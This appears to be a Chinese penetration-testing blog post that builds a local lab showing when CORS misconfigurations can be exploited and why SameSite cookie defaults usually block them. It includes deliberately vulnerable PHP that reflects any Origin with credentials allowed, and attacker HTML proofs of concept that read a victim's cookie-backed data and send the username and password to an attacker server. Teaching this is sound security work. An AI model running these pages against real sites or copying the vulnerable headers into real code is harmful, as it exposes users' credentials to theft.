如何让 CORS 攻击变的不那么水?
- 前言
- 环境搭建【a.com】
- 具体实例
- 跨域页面搭建【b.com】
- 跨域问题半解决
- 跨域问题解决
- Reference
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
前言
对于CORS
漏洞来说大家都不陌生, 通常利用在某敏感接口上, 若某敏感接口允许跨域获取数据, 那么则认为它是存在CORS
漏洞的, 但是为什么大家都在说这个漏洞是水洞呢?在如下的演示场景中, a.com
为服务端, b.com
则要跨域请求a.com
来获取数据.
环境搭建【a.com】
为了方便理解, 我们可以选择自己本地搭建环境, 然后复现一下CORS
, 看看它"水"又"水"在了哪些地方. 为了观察它的核心机制, 这里选择PHP作为实验环境.
首先创建login.php
文件, 并且登陆后让它使用我们自己的COOKIE
, 文件内容如下:
<?php
if($_SERVER['REQUEST_METHOD'] == 'GET'){
$html = <<<HTML
<form action="" method="POST">
username: <input type="text" name="username"><br>
password: <input type="password" name="password"><br>
<input type="submit">
</form>
HTML;
echo $html;
} else {
$username = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
if($username == 'admin' && $password == 'heihu577'){
$base64_pass = base64_encode($password);
header("Set-Cookie: user={$username};", false);
header("Set-Cookie: pass={$base64_pass};", false);
// setcookie('user', $username);
// setcookie('pass', $base64_pass);
echo'登录成功, 凭证在 COOKIE 中!';
}else{
echo'账户或密码错误!';
}
}
?>
这是一个简单的登录接口案例, 登录成功后则设置COOKIE
. 存放了用户的账号密码.
为了通用所有语言, 我们尽量在HTTP
层理解这件事情, 而并非单纯的PHP语言
, 所以使用header函数
而不是PHP
中的setcookie
.
登录接口有了, 那么我们准备一个敏感数据接口, getInfo.php
定义如下:
<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';
$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
$secretData -> code = 200;
$secretData -> username = $username;
$secretData -> password = $password;
$secretData -> info = 'success';
echo json_encode($secretData);
} else {
$secretData -> code = 404;
$secretData -> info = 'fail';
echo json_encode($secretData);
}
?>
当成功登陆后, 访问该接口结果如下:
具体实例
跨域页面搭建【b.com】
对于刚刚的getInfo.php
文件实际上算是一种敏感接口, 但它不允许跨域, 我们在b.com
中准备一个getData.html
进行跨域肯定是失败的, 准备代码如下:
<!DOCTYPE html>
<htmllang="en">
<head>
<metacharset="UTF-8">
<metaname="viewport"content="width=device-width, initial-scale=1.0">
<title>getMsg</title>
</head>
<body>
<imgsrc="">
<scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$.ajax({
type:"GET",
url: 'http://a.com/getInfo.php', // 设置敏感数据接口
data: {},
xhrFields: {
withCredentials: true// 设置withCredentials为true, 否则请求过去不携带 COOKIE
},
crossDomain: true,
dataType: 'json',
success: function(data){
console.log(data); // 打印到控制台中
if(data['info'] == 'success'){
document.getElementsByTagName('img')[0].src = '攻击者VPS/' + data['username'] + '/' + data['password']; // 设置攻击者 VPS, 在访问记录中可看到劫持的数据信息
}
}
});
</script>
</body>
</html>
最终跨域结果如下:
跨域问题半解决
实际上在各种搜索引擎查询该问题的解决方案, 网上公开的问题
or 跨域漏洞学习
相关的资料, 以及询问AI帮助
, 通常会给出如下方案: 在a.com
的getInfo.php
文件中返回如下服务器响应头:
Access-Control-Allow-Methods: GET,POST,PUT,DELETE //含义: 允许请求过来的方式
Access-Control-Allow-Origin: 值与传递过来的 Origin 一致 // 含义: 允许请求过来的源, 例如 b.com
Access-Control-Allow-Credentials: true // 含义: 是否允许携带 COOKIE
没错, 出现该问题正是没有设置这三个服务器返回头导致的, 那么我们修改a.com/getInfo.php
文件内容如下:
<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';
header('Access-Control-Allow-Methods: GET,POST,PUT,DELETE');
header('Access-Control-Allow-Origin: ' . (isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '*'));
header('Access-Control-Allow-Credentials: true');
$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
$secretData -> code = 200;
$secretData -> username = $username;
$secretData -> password = $password;
$secretData -> info = 'success';
echo json_encode($secretData);
} else {
$secretData -> code = 404;
$secretData -> info = 'fail';
echo json_encode($secretData);
}
?>
最终我们的b.com/getData.html
控制台中不再弹出跨域失败
的弹窗, 但出现了新的问题, 我们的getData.html
并没有获取到服务器端的数据:
明明已经设置好了服务端的Access-Control-Allow-Credentials: true
以及本地jquery
的withCredentials: true
, 为什么还是会失败?
跨域问题解决
这个问题实际上曾困扰无数网站开发者, 参考: https://yxxme.com/chrome-cookie-samesite/
当然解决方案文章中说的也特别详细:
所以现在的问题成功从跨域问题
转变为了COOKIE设置
问题, 而针对这一问题来讲, Set-Cookie
定义如下:
Set-Cookie: <cookie名>=<cookie值>; Domain=<域名>; Path=<路径>; Expires=<过期时间>; Max-Age=<秒数>; Secure; HttpOnly; SameSite=<Strict|Lax|None>
而SameSite
这三个属性值又是什么含义呢?
而通常若一个Set-Cookie: 值
中并没有说明SameSite
是具体值时, 浏览器会默认将其设置为Lax
, 这是为了防止CSRF
攻击所采用的默认手段, 但是这个限制又和CORS-AJAX
产生了什么联系?可以使用如下表格进行说明:
可以看到AJAX
明显也被SameSite
所限制了. 这也就是为什么我们CORS
漏洞利用失败的原因. 现代浏览器通常默认设置为Lax
, 也就防止了CORS漏洞
的触发, 所以该漏洞慢慢就被称为水洞了, 那么所有的CORS漏洞
都是水洞吗?答案是否定的.
非水洞的 CORS 特征与案例
我们知道的是, 程序员完全可以自定义SameSite
的值, 将其设置为None
, 但是SameSite
设置为None
又需要Secure
属性为true
, 而Secure
属性又需要站点必须开启HTTPS
, 所以后续可以无视浏览器版本的CORS漏洞特征如下:
-
ACAC 头为 true -
ACAO 头为请求过来的 Origin 值 -
该接口存在敏感信息 -
程序员定义了 SameSite 为 None -
程序员定义了 Secure -
网站必须使用了 HTTPS(HTTP 设置 Secure 会失效)
这些条件缺少一个则是"水"的CORS, 下面笔者给出一个不"水"的CORS案例, 首先将a.com
所使用的协议升级为HTTPS
以来满足上述条件其中一点.
并且定义a.com/getInfo.php
文件内容如下:
<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';
header('Access-Control-Allow-Origin: ' . (isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '*'));
header('Access-Control-Allow-Credentials: true');
$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
$secretData -> code = 200;
$secretData -> username = $username;
$secretData -> password = $password;
$secretData -> info = 'success';
echo json_encode($secretData);
} else {
$secretData -> code = 404;
$secretData -> info = 'fail';
echo json_encode($secretData);
}
?>
该文件满足3点, ACAO & ACAC & 敏感数据
三个条件, 而修改a.com/login.php
的登录逻辑如下:
<?php
if($_SERVER['REQUEST_METHOD'] == 'GET'){
$html = <<<HTML
<form action="" method="POST">
username: <input type="text" name="username"><br>
password: <input type="password" name="password"><br>
<input type="submit">
</form>
HTML;
echo $html;
} else {
$username = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
if($username == 'admin' && $password == 'heihu577'){
$base64_pass = base64_encode($password);
header("Set-Cookie: user={$username}; HttpOnly; Secure; SameSite=None;", false);
header("Set-Cookie: pass={$base64_pass}; HttpOnly; Secure; SameSite=None;", false);
// setcookie('user', $username);
// setcookie('pass', $base64_pass);
echo'登录成功, 凭证在 COOKIE 中!';
}else{
echo'账户或密码错误!';
}
}
?>
该登录逻辑所生成的COOKIE
满足Secure & SameSite=None
, 那么攻击者编写钓鱼POC如下:
<!DOCTYPE html>
<htmllang="en">
<head>
<metacharset="UTF-8">
<metaname="viewport"content="width=device-width, initial-scale=1.0">
<title>getMsg</title>
</head>
<body>
<imgsrc="">
<scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$.ajax({
type:"GET",
url: 'https://a.com/getInfo.php', // 设置敏感数据接口
data: {},
xhrFields: {
withCredentials: true// 设置withCredentials为true, 否则请求过去不携带 COOKIE
},
crossDomain: true,
dataType: 'json',
success: function(data){
console.log(data);
if(data['info'] == 'success'){
document.getElementsByTagName('img')[0].src = 'http://127.0.0.1:8000/' + data['username'] + '/' + data['password']; // 设置攻击者 VPS, 在访问记录中可看到劫持的数据信息
}
}
});
</script>
</body>
</html>
并放置在http://127.0.0.1:8000/ (假设为攻击者的 VPS)
中, 随后登录a.com/login.php
后, 访问攻击者放置的上述HTML
文件, 结果如下:
在Chorme
浏览器中, 完全复现, 至于Firefox
, 虽然COOKIE
设置的也都对了, 但就是不发送请求, 如下:
所以对具体的浏览器也有些许限制.
Reference
https://blog.csdn.net/weixin_45862170/article/details/121182961
https://zhuanlan.zhihu.com/p/478942215
https://zhuanlan.zhihu.com/p/593350970
https://yxxme.com/chrome-cookie-samesite/
https://segmentfault.com/q/1010000042274481
https://cloud.tencent.com/developer/article/2218923
原文始发于微信公众号(Heihu Share):渗透测试 | 如何让CORS攻击变的不那么水?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论